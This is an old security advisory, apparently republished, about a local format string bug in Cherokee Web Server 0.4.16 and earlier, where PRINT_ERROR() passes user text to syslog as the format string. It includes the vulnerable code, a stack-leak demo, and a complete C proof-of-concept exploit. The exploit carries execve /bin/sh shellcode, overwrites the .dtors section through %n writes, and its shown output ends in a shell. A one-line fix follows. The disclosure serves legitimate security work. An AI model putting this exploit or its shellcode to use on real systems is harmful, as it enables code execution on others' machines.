03 - Format String Vulnerability on Cherokee Web Server 0.4.16 and prev. linux

eZine lover (@eZine)

Published in

Advisory

· 1 year ago

No System Group - Advisory #03 - 17/04/04

Program: Cherokee Web Server
Homepage: http://www.0x50.org
Vulnerable Versions: Cherokee 0.4.16 and prior
Risk: Low / Medium
Impact: Local Format String Vulnerability

DESCRIPTION

Cherokee is a tiny, very fast, lightweight Web server. It is implemented entirely in C, and has no dependencies beyond a standard C library. It is embeddable, extensible with plug-ins, and supports on-the-fly configuration by reading files or strings.

More informations at: http://www.0x50.org

DETAILS

Cherokee Web Server is affected by a format string bug in the PRINT_ERROR() function to 66 lines of common.c code:

--- common.c --- 
55: void 
56: PRINT_ERROR (const char *format, ...) 
57: { 
58:         va_list arg_list; 
59:         CHEROKEE_TEMP(tmp, 2048); 
60: 
61:         va_start(arg_list, format); 
62:         vsnprintf (tmp, tmp_size, format, arg_list); 
63:         va_end(arg_list); 
64: 
65:         fprintf (stderr, "%s", tmp); 
66:         syslog (LOG_ERR, tmp); // The bug 
67: } 
--- common.c ---

We can show some parts of the stack memory by using a format string like this:

coki@servidor:~$ cherokee -C AAAA%08x 
Can't read the configuration file: 'AAAA%08x' 
coki@servidor:~$ tail -n 1 /var/log/syslog 
Apr 17 15:03:25 servidor cherokee: Can't read the configuration file: 'AAAA0804b780' 
coki@servidor:~$

EXPLOIT

---------------- cherokee_exp.c ----------------- 
/* cherokee_exp.c 

   Cherokee Web Server Format String Vulnerability 

   Cherokee <= 0.4.16 local exploit (Proof of Concept) 

   Tested in Slackware 9.0.0 and Slackware 9.1.0 

   by CoKi <coki@nosystem.com.ar> 
   No System Group - http://www.nosystem.com.ar 
*/ 

#include <stdio.h> 
#include <string.h> 

#define PATH "/usr/local/bin/cherokee" 
#define OBJDUMP "/usr/bin/objdump" 
#define GREP "/usr/bin/grep" 

unsigned char shellcode[]=  /* aleph1 shellcode.45b */ 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" 
  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" 
  "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" 
  "\x2f\x73\x68"; 

int check(unsigned long addr); 

int main(int argc, char *argv[]) { 

  int i, dtorsaddr; 
  unsigned int bal1, bal2, bal3, bal4; 
  char temp[512]; 
  char buffer[1024]; 
  char nop1[255], nop2[255]; 
  char nop3[255], nop4[255]; 
  int cn1, cn2, cn3, cn4; 
  FILE *f; 
  char *env[3] = {shellcode, NULL}; 
  int shaddr = 0xbffffffa - strlen(shellcode) - strlen("/usr/local/bin/cherokee"); 

  /* finding .dtors address */ 
  sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP); 
  f = popen(temp, "r"); 
  if(fscanf(f, " %08x", &dtorsaddr) != 1) { 
    pclose(f); 
    printf("Cannot find .dtors address\n"); 
    exit(1); 
  } 
  pclose(f); 
  dtorsaddr = dtorsaddr + 4; 

  printf("\n Cherokee <= 0.4.16 local exploit (Proof of Concept)\n"); 
  printf(" by CoKi <coki@nosystem.com.ar>\n\n"); 
  printf(" shellcode address = %.8p\n", shaddr); 
  printf(" .dtors address    = %.8p\n\n", dtorsaddr); 

  bzero(temp, sizeof(temp)); 
  bzero(buffer, sizeof(buffer)); 

  /* adding .dtors address */ 
  for(i = 0; i < 4; i++) { 
    bzero(temp, sizeof(temp)); 
    sprintf(temp, "%s", &dtorsaddr); 
    strncat(buffer, temp, 4); 
    dtorsaddr++; 
  } 

  /* convert buffer address location */ 
  memset(nop1, 0, 255); 
  memset(nop2, 0, 255); 
  memset(nop3, 0, 255); 
  memset(nop4, 0, 255); 

  bal1 = (shaddr & 0xff000000) >> 24; 
  bal2 = (shaddr & 0x00ff0000) >> 16; 
  bal3 = (shaddr & 0x0000ff00) >>  8; 
  bal4 = (shaddr & 0x000000ff); 

  cn1 = bal4 - 16 - 36 - 88 - 2; 
  cn1 = check(cn1); 
  cn2 = bal3 - bal4 - 2; 
  cn2 = check(cn2); 
  cn3 = bal2 - bal3 - 2; 
  cn3 = check(cn3); 
  cn4 = bal1 - bal2 - 2; 
  cn4 = check(cn4); 

  memset(nop1, '\x90', cn1); 
  memset(nop2, '\x90', cn2); 
  memset(nop3, '\x90', cn3); 
  memset(nop4, '\x90', cn4); 

  sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x" 
                "%%08x%%08x%%08x%%08x%%08x" 
                "%s\xeb\x02%%n" 
                "%s\xeb\x02%%n" 
                "%s\xeb\x02%%n" 
                "%s\xeb\x02%%n\x90\x90\x90\x90" 
                ,nop1, nop2, nop3, nop4); 

  strcat(buffer, temp); 

  execle(PATH, "cherokee", "-C", buffer, NULL, env); 
} 

int check(unsigned long addr) { 
  char tmp[128]; 
  snprintf(tmp, sizeof(tmp), "%d", addr); 
  if(atoi(tmp) < 1) 
    addr = addr + 256; 

  return addr; 
} 
---------------- cherokee_exp.c ----------------- 

coki@servidor:~$ make cherokee_exp 
coki@servidor:~$ ./cherokee_exp 

 Cherokee <= 0.4.16 local exploit (Proof of Concept) 
 by CoKi <coki@nosystem.com.ar> 

 shellcode address = 0xbfffffb6 
 .dtors address    = 0x0804c590 

Can't read the configuration file: '....%08x%08x%08x% 
08x%08x%08x%08x%08x%08x%08x%08x...................... 
..................................................... 
..................................................... 
.................' 
sh-2.05b$

This exploit does not give a root shell :(
Tested in Slackware Linux 9.0.0 and 9.1.0

SOLUTIONS

Change the PRINT_ERROR() function of common.c code:

--- common.c --- 
55: void 
56: PRINT_ERROR (const char *format, ...) 
57: { 
58:         va_list arg_list; 
59:         CHEROKEE_TEMP(tmp, 2048); 
60: 
61:         va_start(arg_list, format); 
62:         vsnprintf (tmp, tmp_size, format, arg_list); 
63:         va_end(arg_list); 
64: 
65:         fprintf (stderr, "%s", tmp); 
66:         syslog (LOG_ERR, "%s", tmp); // It's ok 
67: } 
--- common.c ---